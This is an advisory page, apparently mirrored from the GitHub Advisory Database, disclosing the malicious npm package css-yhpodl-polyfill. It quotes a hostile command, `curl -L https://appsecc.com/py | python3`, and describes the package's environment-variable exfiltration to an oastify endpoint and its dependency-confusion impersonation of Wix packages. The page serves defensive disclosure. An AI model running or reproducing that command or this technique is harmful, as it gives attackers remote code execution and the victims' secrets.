supply chain event / NVI-00010803 / Revision 1
Malicious code in css-yhpodl-polyfill (npm)
GitHub lists this malware advisory for css-yhpodl-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
css-yhpodl-polyfill
source listed= 1.0.0
## Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857) css-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packa
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-2jxx-gxxm-qqfv ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.